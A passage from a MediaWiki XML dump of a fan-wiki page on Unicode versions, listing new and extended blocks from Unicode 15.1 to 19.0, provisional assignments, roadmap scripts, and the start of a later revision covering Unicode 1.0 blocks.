|rotated 90 degrees # EGYPTIAN HIEROGLYPH V010
|-
|13378 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V011
|-
|1337D FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V012A
|-
|13385 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V019
|-
|13399 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V026
|-
|1339A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V027
|-
|133AF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W001
|-
|133B0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W002
|-
|133BF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W014
|-
|133D3 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH X004A
|-
|133DD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH Y002
|-
|133F2 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z007
|-
|133F5 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z010
|-
|133F6 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z011
|-
|13403 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z015I
|-
|13416 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA008
|-
|13419 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|1341A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA012
|-
|13423 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA021
|-
|1342C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA030
|-
|1342E FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA032
|-
|13443 FE00
|
|expanded # EGYPTIAN HIEROGLYPH LOST SIGN
|-
|13444 FE00
|
|expanded # EGYPTIAN HIEROGLYPH HALF LOST SIGN
|-
|13445 FE00
|
|expanded # EGYPTIAN HIEROGLYPH TALL LOST SIGN
|-
|13446 FE00
|
|expanded # EGYPTIAN HIEROGLYPH WIDE LOST SIGN
|}

== Unicode 15.1 ==

Unicode 15.1 was released on September 12th, 2023. It encoded 149,813 characters, adding 627 new characters.

=== New Blocks ===
* '''CJK Unified Ideographs Extension I''' (U+2EBF0-U+2EE5F), containing 622 characters, was added.

=== Extended Blocks ===

* 4 Ideographic characters were added to '''Ideographic Description Characters'''. (U+2FFC-U+2FFF)
* An Ideographic subtraction (total 1 character) was added to '''CJK Strokes'''. (U+31EF)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count

|-
|CJK Unified Ideographs Extension A
|357E, 358B..358E, 3599..359D, 35AF..35B0, 35B2..35B3, 35DF..35E1, 35EF, 360F, 3612, 3F94, 44D5, 48EE
|5
|-
|CJK Unified Ideographs
|5098, 512D, 517A, 5391, 54DB, 551C, 551F, 55B8, 55ED, 56AB, 591E, 594A, 5B2E, 5DFC..5DFD, 5EE4, 609E, 65B0, 65B3, 65D5, 65F2, 67B2, 6AB6, 6AEC, 6C69, 6FC2, 6FD3, 7019, 7361, 74BD, 7934, 820B, 826E, 83BB, 8412, 8456, 848A, 896F, 8E34, 8FD7, 9166, 9855, 985E, 9C4D
|5
|-
|Latin Extended-D
|A798
|1
|-
|Latin Extended-E
|AB5A
|1
|-

|Tangut
|17105, 172A4, 17BD1..17BD3, 17EF9, 18136
|59
|-
|Alchemical Symbols
|1F741, 1F747, 1F74C, 1F74F, 1F756, 1F758, 1F763, 1F768, 1F76D, 1F76E
|116
|-
|CJK Unified Ideographs Extension B
|20302, 2087A, 20C00, 230B7, 2339E, 236EF, 237C3, 23B87, 23CC0, 23CD9, 23E5E, 2486F, 249D6, 249E8, 24D6A, 2585E, 25D89, 26A5A..26A5B, 26A73, 26A82..26A83, 26A90, 26AA6, 26AA8, 26AD8, 27350, 279F8, 284A3, 28BBA, 29516, 29530
|20
|-
|CJK Unified Ideographs Extension C
|2A741, 2AB63, 2ACD8, 2AF6F, 2B173, 2B490
|1
|-
|CJK Unified Ideographs Extension E
|2BC2E, 2BF45, 2C04C, 2C13A, 2C43C, 2C43E, 2C816
|8
|-
|CJK Unified Ideographs Extension F
|2D1CC..2D1CD, 2D1DD, 2D1E4, 2D1F7, 2D203, 2D256, 2D266, 2D2A2, 2D2AC, 2D2DA
|18
|-
|CJK Unified Ideographs Extension G
|301D4, 301D9, 301E4, 301E8, 301FF..30200, 30205, 3020C, 30211, 30215..30217, 30220, 30234..30235, 30237
|7
|-
|CJK Unified Ideographs Extension H
|314B7, 31542, 31569, 31C7F, 31D5A, 31F68
|7
|-
! colspan=&quot;2&quot; |Total
!164
|}

== Unicode 16.0 ==

Unicode 16.0 was released on September 10th, 2024. It encoded 154,998 characters, adding 5185 new characters.

=== New Blocks ===
* '''Todhri''' (U+105C0-U+105FF), containing 52 characters, was added.
* '''Garay''' (U+10D40-U+10D8F), containing 69 characters, was added.
* '''Tulu-Tigalari''' (U+11380-U+113FF), containing 80 characters, was added.
* '''Myanmar Extended-C''' (U+116D0-U+116FF), containing 20 characters, was added.
* '''Sunuwar''' (U+11BC0-U+11BFF), containing 44 characters, was added.
* '''Egyptian Hieroglyphs Extended-A''' (U+13460-U+143FF), containing 3995 characters, was added.
* '''Gurung Khema''' (U+16100-U+1613F), containing 58 characters, was added.
* '''Kirat Rai''' (U+16D40-U+16D7F), containing 58 characters, was added.
* '''Symbols for Legacy Computing Supplement''' (U+1CC00-U+1CEBF), containing 686 characters, was added.
* '''Ol Onal''' (U+1E5D0-U+1E5FF), containing 44 characters, was added.

=== Extended Blocks ===
* A combining diacritical mark for Jawi (total 1 character) was added to '''Arabic Extended-B'''. (U+0897)
* Inverted letters and a punctuation mark (total 3 characters) was added to '''Balinese'''. (U+1B4E-U+1B4F and U+1B7F)
* A letter Tje (total 2 characters) was added to '''Cyrillic Extended-C'''. (U+1C89-U+1C8A)
* Legacy computing symbols for Delete (total 3 characters) was added to '''Control Pictures'''. (U+2427-U+2429)
* CJK strokes HXG and SZP (total 2 characters) was added to '''CJK Strokes'''. (U+31E4-U+31E5)
* A capital Rams Horn, an S with Diagonal Stroke, Lamda Letters, and letters for Wakashan and Salishan Languages (total 6 characters) was added to '''Latin Extended-D'''. (U+A7CB-U+A7CD, U+A7DA-U+A7DC)
* A combining Alef overlay and letters with two dots vertically below (total 4 characters) was added to '''Arabic Extended-C'''. (U+10EC2-U+10EC4 and U+10EFC)
* A sign Nukta (total 1 character) was added to '''Kawi'''. (U+11F5A)
* A blank character (total 1 character) was added to '''Khitan Small Script'''. (U+18CFF)
* A rightwards arrow with hook, and arrows for legacy computing and arrows for Egyptology (total 12 characters) was added to '''Supplemental Arrows-C'''. (U+1F8B2-U+1F8BB, U+1F8C0-U+1F8C1)
* A Harp, Shovel, Leafless Tree, Fingerprint, Root Vegetable, Splatter, and Face with Bags Under Eyes (total 7 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA89, U+1FA8F, U+1FABE, U+1FAC6, U+1FADC, U+1FADF, and U+1FAE9)
* Graphic shapes for legacy computing (total 37 characters) was added to '''Symbols for Legacy Computing'''. (U+1FBCB-U+1FBEF)

== Unicode 17.0 ==
Unicode 17.0 was released on September 9th, 2025. It encoded 159,801 characters, adding 4,083 new characters.

=== New Blocks ===
* '''Sidetic''' (U+10940-U+1095F), containing 26 characters, was added.
* '''Sharada Supplement''' (U+11B60-U+11B7F), containing 8 characters, was added.
* '''Tolong Siki''' (U+11DB0-U+11DEF), containing 54 characters, was added.
* '''Beria Erfe''' (U+16EA0-U+16EDF), containing 50 characters, was added.
* '''Tangut Components Supplement''' (U+18D80-U+18DFF), containing 115 characters, was added.
* '''Miscellaneous Symbols Supplement''' (U+1CEC0-U+1CEFF), containing 34 characters, was added.
* '''Tai Yo''' (U+1E6C0-U+1E6FF), containing 55 characters, was added.
* '''CJK Unified Ideographs Extension J''' (U+323B0-U+3347F), containing 4298 characters, was added.

=== Extended Blocks ===
* A Noon with Ring Above (total 1 character) was added to '''Arabic Extended-B'''. (U+088F)
* An archaic ligature Shrii (total 1 character) was added to '''Telugu'''. (U+0C5C)
* An archaic ligature Shrii (total 1 character) was added to '''Kannada'''. (U+0CDC)
* Compound tone and harrington diacritics (total 26 characters) was to '''Combining Diacritical Marks Extended'''. (U+1ACF-U+1ADD, U+1AE0-U+1AEB)
* Saudi Riyal Sign (total 1 character) was added to '''Currency Symbols'''. (U+20C1)
* Equal Sign with Infinity Above (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B96)
* 2 capital letters for Middle English, Latin pharyngeal voiced fricative, and Modifier Letter Capital S (total 5 characters) was added to '''Latin Extended-D'''. (U+A7CE-U+A7CF, U+A7D2, U+A7D4, U+A7F1)
* Arabic Ligature Rahmatu Allaahi Alayh and Arabic Honorifics (total 25 characters) was added to '''Arabic Presentation Forms-A'''. (U+FBC3-U+FBD2, U+FD90, U+FD91, U+FDC8-U+FDCE)
* A Small Yeh Barree with Two Dots Below, Thin Noon, Biblical End of Verse, Yeh with Four Dots Below, Honorifics, Double Vertical Bar Below, and Small Low Noon (total 14 characters) was added to '''Arabic Extended-C'''. (U+10EC5-U+10EC7, U+10ED0-U+10ED8, U+10EFA-U+10EFB)
* Chinese Simplified and Traditional Er and Yangqin Slow Signs Two, Three, and Four (total 5 characters) was added to '''Ideographic Symbols and Punctuation'''. (U+16FF2-U+16FF6)
* Some additional ideographs (total 8 characters) was added to '''Tangut'''. (U+187F8-U+187FF)
* Additional ideographs (total 22 characters) was added to '''Tangut Supplement'''. (U+18D09-U+18D1E)
* Nine symbols (total 9 characters) was added to '''Symbols for Legacy Computing Supplement'''. (U+1CCFA-U+1CCFC, U+1CEBA-1CEBF)
* A Landslide (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D8)
* Historical asteroid symbols (total 4 characters) was added to '''Alchemical Symbols'''. (U+1F777-U+1F77A)
* Chemical symbols (total 9 characters) was added to '''Supplemental Arrows-C'''. (U+1F8D0-U+1F8D8)
* White and Black Chess Ferz and Alfil (total 4 characters) was added to '''Chess Symbols'''. (U+1FA54-U+1FA57)
* A trombone, treasure chest, hairy creature, orca, distorted face, and fight cloud (total 6 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8A, U+1FA8E, U+1FAC8, U+1FACD, U+1FAEA, and U+1FAEF)
* An alarm bell symbol (total 1 character) was added to '''Symbols for Legacy Computing'''. (U+1FBFA)
* Additional ideographs (total 6 characters) was added to '''CJK Unified Ideographs Extension C'''. (U+2B73A-U+2B73F)
* Additional ideographs (total 12 characters) was added to '''CJK Unified Ideographs Extension E'''. (U+2CEA2-U+2CEAD)

== Unicode 18.0 ==
Unicode 18.0 was released on September 16, 2026.

=== New Blocks ===
*'''Bengali Supplement''' (U+11DF0-U+11DFF), containing 2 characters, was added.
* '''Archaic Cuneiform Numerals''' (U+12550-U+1268F), containing 311 characters, was added.
* '''Jurchen''' (U+18E00-U+1919F), containing 914 characters, was added.
* '''Jurchen Radicals''' (U+191A0-U+191DF), containing 51 characters, was added.
* '''Musical Symbols Supplement''' (U+1D250-U+1D28F), containing 50 characters, was added.
* '''Miscellaneous Symbols and Arrows Extended''' (U+1DB00-U+1DBFF), containing 29 characters, was added.
* '''Seal Script''' (U+3D000-U+3FC3F), containing 11328 characters, was added.

=== Extended Blocks ===
* Modifier letters Eh, Ini, and Yi (total 3 characters) was added to '''Armenian'''. (U+0558, U+058B-U+058C)
* Hebrew Point Sheva Na Mudgash and Hebrew Point Dagesh Hazaq Mudgash (total 2 characters) was added to '''Hebrew'''. (U+05C8-U+05C9)
* Signs for dot above and double dot above (total 2 characters) was added to '''Oriya'''. (U+0B53-U+0B54)
* Alternate positioned IPA diacritics and diacritics for Chao and Khoe (total 7 characters) was added to '''Combining Diacritical Marks Extended'''. (U+1ADE-U+1ADF, U+1AEC-U+1AF0)
* Latin subscript small letter w, y, and z and Modifier letter high and low vertical line (total 4 characters) was added to '''Superscripts and Subscripts'''. (U+208F, U+209D-U+209F)
* Rufiyaa Sign, UAE Dirham Sign, and Omani Rial (total 3 characters) was added to '''Currency Symbols'''. (U+20C2-U+20C4)
* Two Wiggly Exclamation Marks and Two Parenthesis with Middle Ring (total 4 characters) was added to '''Supplemental Punctuation'''. (U+2E60-U+2E63)
* Latin capital letter closed omega and Latin capital letter r with long leg and (total 2 characters) was added to '''Latin Extended-D'''. (U+A7DD and U+A7E2)
* Latin capital letter script r and script r with ring (total 2 characters) was added to '''Latin Extended-E'''. (U+AB6C-U+AB6D)
* Latin modifier letters for clicks (total 5 characters) was added to '''Latin Extended-F'''. (U+107BB-U+107BF)
* Arabic Crown Letters, Quranic Characters, and Arabic Crown (total 39 characters) was added to '''Arabic Extended-C'''. (U+10EC9-U+10ECF, U+10ED9-U+10EEE, U+10EF0-U+10EF9)
* Devanagari Letter Alternate Ddda (total 1 character) was added to '''Devanagari Extended-A'''. (U+11B0A)
* Extended Cuneiform Numeric Signs (total 12 characters) was added to '''Cuneiform Numbers and Punctuation'''. (U+1246F, U+12475-U+1247F)
* Jurchen Small Script characters (total 5 characters) was added to '''Khitan Small Script'''. (U+18CD6-U+18CDA)
* Two additional ideographs (total 2 characters) was added to '''Tangut Supplement'''. (U+18D1F-U+18D20)
* Hiragana Digraph Koto, Katakana Diagraphs Toki, Tote, and Yori, letters alternate Ne, and Wi (total 6 characters) was added to '''Kana Extended-A'''. (U+1B123-U+1B128)
* Katakana letter small archaic Ye (total 1 character) was added to '''Small Kana Extension'''. (U+1B168)
* Leibnizian alchemical symbols,  Leibnizian cossic characters, and Leibnizian mathematical signs and symbols (total 19 characters) was added to '''Miscellaneous Symbols Supplement'''. (U+1CED2-U+1CED4, U+1CEDD-U+1CEDF, U+1CEF1-U+1CEFD)
* Stein Zimmerman Symbols, Digit Slash Symbols, and other Symbols (total 23 characters) was added to '''Musical Symbols'''. (U+1D127-U+1D128, U+1D1EB-U+1D1FF)
* Mathematical italic long s with descender s (U+1D6A6) was added to '''Mathematical Alphanumeric Symbols'''.
* Affricate ligatures, letters with palatal hook, barred letters, RFE letters, Initial Teaching Alphabet, English Phonotypic Alphabet, Leibnizian cossic characters, and modifier letters (total 151 characters) was added to '''Latin Extended-G'''. (U+1DF1F-U+1DF24, U+1DF2B-U+1DF81, U+1DF90-U+1DF96, U+1DFCD-U+1DFFF)
* A Tomobiki symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F1AE)
* A lighthouse (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D9)
* A black circle with white vertical bar, and Extended Geometric Shapes (total 17 characters) was added to '''Geometric Shapes Extended'''. (U+1F7DA-U+1F7DB, U+1F7F1-U+1F7FF)
* A meteor, eraser, net with handle, monarch butterfly, pickle, cracking face, leftwards thumb sign, and rightwards thumb sign (total 8 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8B-1FA8D, U+1FACC, U+1FADD, U+1FAEB, U+1FAF9-1FAFA)
* An additional ideograph (total 1 character) was added to '''CJK Unified Ideographs Extension D'''. (U+2B81E)

== Unicode 19.0==
Unicode 19.0 will be released in late 2027. There are more characters targeted for this version, but they have not been confirmed yet.

=== New Blocks ===
* '''CJK Unified Ideographs Components-A''' (U+2FA20-U+2FA9F), containing 119 characters, will be added.
* '''CJK Unified Ideographs Components-B''' (U+2FAA0-U+2FC1F), containing 375 characters, will be added.

== Code Points Provisionally Assigned==
This is a section where you can add any upcoming Unicode characters that have been [https://www.unicode.org/alloc/Pipeline.html#codepoint_reservation provisionally assigned for mature proposals] (but not yet accepted) for a future update of The Unicode Standard.

=== New Blocks ===
* '''Arabic Extended-D''' (U+10D90-U+10E5F), containing 3 characters, will be added.
* '''Sirmauri''' (U+11850-U+1188F), containing 55 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Leke''' (U+11B80-U+11BBF), containing 55 characters, will be added.
* '''Proto-Cuneiform''' (U+12690-U+12ECF), containing 1392 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Chisoi''' (U+16D80-U+16DAF), containing 40 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Mwangwego''' (U+16E00-U+16E3F), containing 64 characters, will be added.
* '''Shaaldaa''' (U+1C800-U+1CB2F), containing 804 characters, will be added.
* '''Leibnizian Ambiguous Signs''' (U+1DC00-U+1DC3F), containing 54 characters, will be added.)&lt;!--target: 19.0--&gt;

=== Extended Blocks ===
* Telugu Sign Spacing Candrabindu (total 1 character) will be added to '''Telugu'''. (U+0C70)&lt;!--target: 19.0--&gt;
* Kannada Signs Ardhanusvara and Combining Anusvara Above (total 1 character) will be added to '''Kannada'''. (U+0CF0 and U+0CF4)&lt;!--target: 19.0--&gt;
* Mongolian Letter Manchu Alternative Ue (total 1 character) will be added to '''Mongolian'''. (U+1879)
* Combining Grave-Acute-Macron, Combining inverted lazy s Above, and Combining comma Above and acute (total 3 characters) will be added to '''Combining Diacritical Marks Extended'''. (U+1AF1-U+1AF3)
* Cyrillic small letter Yeru with connecting bar (total 1 character) will be added to '''Cyrillic Extended-C'''. (U+1C8B)&lt;!--target: 19.0--&gt;
* Belarusian Ruble sign and Ruble sign with double vertical stem (total 2 characters) will be added to '''Currency Symbols'''. (U+20C5, U+20CF)&lt;!--20C5 target: 19.0--&gt;
* Combining Long Triple Solidus Overlay and Combining Saltire Overlay (total 2 characters) will be added to '''Combining Diacritical Marks for Symbols'''. (U+20F1-U+20F2)&lt;!--target: 19.0--&gt;
* Latin capital and small letter i with oblique stroke (total 2 characters) will be added to '''Latin Extended-D'''. (U+A7DE-U+A7DF)
* Latin capital letter u with left hook (total 1 character) will be added to '''Latin Extended-E'''. (U+AB6E)&lt;!--target: 19.0--&gt;
* Arabic Dotless Half-Yeh, Half-Yeh, Dotless Half-Jeem and Astronomical Kaf (total 4 characters) will be added to '''Arabic Extended-C'''. (U+10EC0-U+10EC1, U+10EC8, U+10EEF)&lt;!--10EC0-10EC1 target: 19.0--&gt;
* Brahmi minimizing virama (total 1 character) will be added to '''Brahmi'''. (U+1107E)&lt;!--target: 19.0--&gt;
* Tulu-Tigalari letter combining anusvara above, signs om pushpika with tail and shrii pushpika, and letter archaic II (total 5 characters) will be added to '''Tulu-Tigalari'''. (U+113CB, U+113D9-U+113DB)&lt;!--target: 19.0--&gt;
* Newa Letter Heavy Ya (total 1 character) will be added to '''Newa'''. (U+11462)
* Dogra Signs Candrabindu and Avaragha (total 2 characters) will be added to '''Dogra'''. (U+1183C-U+1183D)&lt;!--target: 19.0--&gt;
* Devanagari Jivamuliya and Upadhmaniya (total 2 characters) will be added to '''Devanagari Extended-A'''. (U+11B0B-U+11B0C)&lt;!--target: 19.0--&gt;
* White Ideographic Comma and Double Ideographic Full Stop (total 2 characters) will be added to '''Ideographic Symbols and Punctuation'''. (U+16FE5-U+16FE6)&lt;!--target: 19.0--&gt;
* Alchemical Symbol for Calx-2 and Alchemical Symbol for Retort-2 (total 2 characters) will be added to '''Miscellaneous Symbols Supplement'''. (U+1CED1, U+1CED5)&lt;!--target: 19.0--&gt;
* Musical Symbol down arrowhead breath mark (total 1 character) will be added to '''Musical Symbols Supplement'''. (U+1D282)
* Small w with palatal hook, small n and r with double middle tilde, small capital i with retroflex hook, small open q, x with stroke, small wavy y, schwa with right hook, Romance dialectology symbols, zh ligature, Albanian letter edhe, Albanian Frashëri letters, Modifier letter capital y, and modifier letter accents (total 26 characters) will be added to '''Latin Extended-G'''. (U+1DF82-U+1DF8F, U+1DF97-U+1DFA3, U+1DFC4-U+1DFCC)&lt;!--1DF82-1DF8A, 1DFC5-1DFCC target: 19.0--&gt;
*Arabic Astronomical zero and five astronomical symbols (total 6 characters) will be added to Arabic Mathematical Alphabetic Symbols (U+1EEE0-U+1EEE5)

==Roadmap Blocks==
This is a section where proportional maps of proposed allocations to Unicode and ISO/IEC 10646 are presented. Italic indicates scripts for which detailed proposals have not yet been written.&lt;ref&gt;[https://unicode.org/roadmaps/smp/]&lt;/ref&gt;

* '''Northern Palaeohispanic''' (U+10200-U+1023F)
* '''Southern Palaeohispanic''' (U+10240-U+1027F)
* '''''Shavian Quikscript''' (U+103E0-U+103FF)''
* '''Combining Diacritical Marks Extended-A''' (U+107C0-U+107FF)
* '''Proto-Sinaitic''' (U+108B0-U+108DF)
* '''''Numidian''' (U+10960-U+1097F)''
* '''Balti''' (U+10AA0-U+10ABF)
* '''Book Pahlavi''' (U+10BB0-U+10BDF)
* '''Baburi''' (U+10BE0-U+10BFF)
* '''Arabic Extended-D''' (U+10D90-U+10E5F)
* '''Landa''' (U+11250-U+1127F)
* '''Tani Lipi''' (U+114E0-U+114FF)
* '''Ranjana''' (U+11500-U+1157F)
* '''Zou''' (U+11750-U+117AF)
* '''Pyu''' (U+117B0-U+117FF)
* '''Vateluttu''' (U+11960-U+1199F)
* '''Balti-B''' (U+11CC0-U+11CFF)
* '''Tocharian''' (U+11E00-U+11E6F)
* '''Khotanese''' (U+11E70-U+11ECF)
* '''Pallava''' (U+11F60-U+11FAF)
* '''''Egyptian Hieroglyphs Extended-B''' (U+14680-U+151FF)''
* '''Mayan Hieroglyphs''' (U+15500-U+15AFF)
* '''Kore Sebeli''' (U+15B00-U+15B6F)
* '''Mandombe''' (U+15B80-U+15FFF)
* '''Wei Rma''' (U+16000-U+1604F)
* '''Wagindara''' (U+16050-U+1607F)
* '''Kurukh Banna''' (U+16140-U+1618F)
* '''Moon''' (U+161A0-U+161FF)
* '''Blissymbols''' (U+16200-U+167FF)
* '''Woleai''' (U+16B90-U+16BFF)
* '''Kpelle''' (U+16C00-U+16C7F)
* '''Tikamuli''' (U+16C80-U+16CBF)
* '''Tangsa (Khimhun)''' (U+16CD0-U+16CFF)
* '''Afaka''' (U+16D00-U+16D3F)
* '''Kulitan''' (U+16DD0-U+16DFF)
* '''''Bopomofo Extended-A''' (U+16FA0-U+16FAF)''
* '''Kanbun Extended-A''' (U+16FB0-U+16FDF)
* '''Khitan Large Script''' (U+19200-U+199FF)
* '''Pau Cin Hau Syllabary''' (U+19E00-U+1A2FF)
* '''Eskaya''' (U+1A300-U+1A75F)
* '''Rejang Extended''' (U+1A760-U+1A77F)
* '''''Kaida''''' (U+1A780-U+1A7FF)
* '''Naxi Dongba''' (U+1A800-U+1ACFF)
* '''''Naxi Geba''' (U+1AD00-U+1AFCF)''
* '''''Kana Extended-C''' (U+1AFD0-U+1AFEF)''
* '''Shuishu Logograms''' (U+1B300-U+1B5FF)
* '''Lisu Syllabic Script''' (U+1B600-U+1B9FF)
* '''Indus''' (U+1BA00-U+1BB8F)
* '''Pitman Shorthand''' (U+1BCB0-U+1BCFF)
* '''Proto-Elamite''' (U+1BE00-U+1C37F)
* '''Linear Elamite''' (U+1C380-U+1C4FF)
* '''Ndiko Jonam''' (U+1CB30-U+1CB7F)
* '''N&lt;nowiki&gt;'&lt;/nowiki&gt;ti''' (U+1CB80-U+1CBAF)
* '''Old Chinese Musical Symbols (Flute and Pipa)''' (U+1D290-U+1D2BF)
* '''''Mathematical Alphanumeric Symbols Supplement''' (U+1D380-U+1D3FF)''
* '''Jianzi Format Controls''' (U+1DAE0-U+1DAFF)
* '''Eebee Hmong''' (U+1E150-U+1E1FF)
* '''Western Cham''' (U+1E200-U+1E26F)
* '''Loma''' (U+1E300-U+1E41F)
* '''Bagam''' (U+1E420-U+1E4CF)
* '''Pungchen''' (U+1E500-U+1E52F)
* '''''Pungchung''' (U+1E530-U+1E55F)''
* '''''Marchung''' (U+1E560-U+1E59F)''
* '''Brusha''' (U+1E5A0-U+1E5CF)
* '''''Chola''' (U+1E600-U+1E65F)''
* '''Box-Headed''' (U+1E660-U+1E6BF)
* '''Lampung''' (U+1E700-U+1E73F)
* '''Kerinci''' (U+1E740-U+1E76F)
* '''Buginese Supplement''' (U+1E770-U+1E7BF)
* '''''Lontara Bilang-Bilang''' (U+1E7C0-U+1E7DF)''
* '''N'Ko Supplement''' (U+1E960-1E97F)
* '''''Byblos''''' (U+1EB90-U+1EBFF)
* '''Persian Siyaq Numbers''' (U+1EC00-U+1EC7F)
* '''Diwani Siyaq Numbers''' (U+1ECC0-U+1ECFF)
* '''''Extended Pictographic Characters''' (U+1FC00-U+1FFFF)''

== References ==
{{reflist}}</text>
      <sha1>4mjeldi3n23grdmoqv43y304pcayt66</sha1>
    </revision>
    <revision>
      <id>4670533</id>
      <parentid>4670532</parentid>
      <timestamp>2026-09-17T01:32:31Z</timestamp>
      <contributor>
        <username>Alexlatham96</username>
        <id>377450</id>
      </contributor>
      <comment>/* Extended blocks */ typos</comment>
      <origin>4670533</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="133902" sha1="5v9mhl7mm1sqc6k6t1m5swifh7fllb1" xml:space="preserve">{{pp-protected|small=yes}}
{{Unicode page}}
{{TOC right}}
{{refimprove|date=June 2017}}
This page is about each version specification, and the differences between the versions.

== Unicode 1.0 ==

Unicode 1.0 was the first version of Unicode, released October 1991. It encoded 7,094 new characters.

=== “Blocks” ===
This version of Unicode did not formally group characters in blocks. But in comparison with version 2.0, the following “blocks” were available:
U+0000-U+FFFD
51 Blocks
* '''Basic Latin (formerly called ASCII)''' (U+0000-U+007F), containing 128 characters.
* '''Latin-1 Supplement (formerly called Latin1)'''  (U+0080-U+00FF), containing 128 characters.
* '''Latin Extended-A''' '''(formerly called European Latin)''' (U+0100-U+017F), containing 127 characters.
* '''Latin Extended-B''' '''(formerly called Extended Latin)''' (U+0180-U+01FF), containing 113 characters.
* '''IPA Extensions''' '''(formerly called Standard Phonetic)''' (U+0250-U+02AF), containing 89 characters.
* '''Spacing Modifier Letters''' '''(formerly called Modifier Letters)''' (U+02B0-U+02FF), containing 57 characters.
* '''Combining Diacritical Marks''' '''(formerly called Generic Diacritical Marks)''' (U+0300-U+036F), containing 66 characters.
* '''Greek and Coptic''' '''(formerly called Greek)''' (U+0370-U+03FF), containing 112 characters.
* '''Cyrillic''' (U+0400-U+04FF), containing 192 characters.
* '''Armenian''' (U+0530-U+058F), containing 84 characters.
* '''Hebrew''' (U+0590-U+05FF), containing 52 characters.
* '''Arabic''' (U+0600-U+06FF), containing 169 characters.
* '''Devanagari''' (U+0900-U+097F), containing 104 characters.
* '''Bengali''' (U+0980-U+09FF), containing 89 characters.
* '''Gurmukhi''' (U+0A00-U+0A7F), containing 74 characters.
* '''Gujarati''' (U+0A80-U+0AFF), containing 75 characters.
* '''Oriya''' (U+0B00-U+0B7F), containing 78 characters.
* '''Tamil''' (U+0B80-U+0BFF), containing 61 characters.
* '''Telugu''' (U+0C00-U+0C7F), containing 80 characters.
* '''Kannada''' (U+0C80-U+0CFF), containing 80 characters.
* '''Malayalam''' (U+0D00-U+0D7F), containing 78 characters.
* '''Thai''' (U+0E00-U+0E7F), containing 92 characters.
* '''Lao''' (U+0E80-U+0EFF), containing 70 characters.
* '''Tibetan''' (U+1000-U+105F), containing 71 characters.
* '''Georgian''' (U+10A0-U+10FF), containing 78 characters.
* '''General Punctuation''' (U+2000-U+206F), containing 67 characters.
* '''Superscripts and Subscripts''' (U+2070-U+209F), containing 28 characters.
* '''Currency Symbols''' (U+20A0-U+20CF), containing 11 characters.
* '''Combining Marks for Symbols''' '''(formerly called Diacritical Marks for Symbols)''' (U+20D0-U+20FF), containing 18 characters.
* '''Letterlike Symbols''' (U+2100-U+214F), containing 57 characters.
* '''Number Forms''' (U+2150-U+218F), containing 48 characters.
* '''Arrows''' (U+2190-U+21FF), containing 91 characters.
* '''Mathematical Operators''' (U+2200-U+22FF), containing 242 characters.
* '''Miscellaneous Technical''' (U+2300-U+23FF), containing 43 characters.
* '''Control Pictures''' '''(formerly called Pictures for Control Codes)''' (U+2400-U+243F), containing 37 characters.
* '''Optical Character Recognition''' (U+2440-U+245F), containing 11 characters.
* '''Enclosed Alphanumerics''' (U+2460-U+24FF), containing 139 characters.
* '''Box Drawing''' '''(formerly called Form and Chart Components)''' (U+2500-U+257F), containing 128 characters.
* '''Block Elements''' '''(formerly called Blocks)''' (U+2580-U+259F), containing 22 characters.
* '''Geometric Shapes''' (U+25A0-U+25FF), containing 79 characters.
* '''Miscellaneous Symbols''' '''(formerly called Miscellaneous Dingbats)''' (U+2600-U+26FF), containing 106 characters.
* '''Dingbats''' '''(formerly called Zapf Dingbats)''' (U+2700-U+27BF), containing 160 characters.
* '''CJK Symbols and Punctuation''' (U+3000-U+303F), containing 56 characters.
* '''Hiragana''' (U+3040-U+309F), containing 90 characters.
* '''Katakana''' (U+30A0-U+30FF), containing 90 characters.
* '''Bopomofo''' (U+3100-U+312F), containing 40 characters.
* '''Hangul Compatibility Jamo (formerly called Hangul Elements)''' (U+3130-U+318F), containing 94 characters.
* '''Kanbun (formerly called CJK Miscellaneous)''' (U+3190-U+31FF), containing 16 characters.
* '''Enclosed CJK Letters and Months''' '''(formerly called''' '''Enclosed CJK Letters and Ideographs)''' (U+3200-U+32FF), containing 191 characters.
* '''CJK Compatibility''' '''(formerly called CJK Squared Words for U+3300-U+337F and CJK Squared Abbreviations for U+3380-33FF)''' (U+3300-U+33FF), containing 187 characters.
* '''Hangul''' (U+3400-U+3D2D), containing 2,350 characters.
* '''Private Use Area''' (U+E000-U+FDFF), reserved for 5,632 characters.
* '''CJK Compatibility Forms''' '''(formerly called CNS 11643 Compatibility)''' (U+FE30-U+FE4F), containing 28 characters.
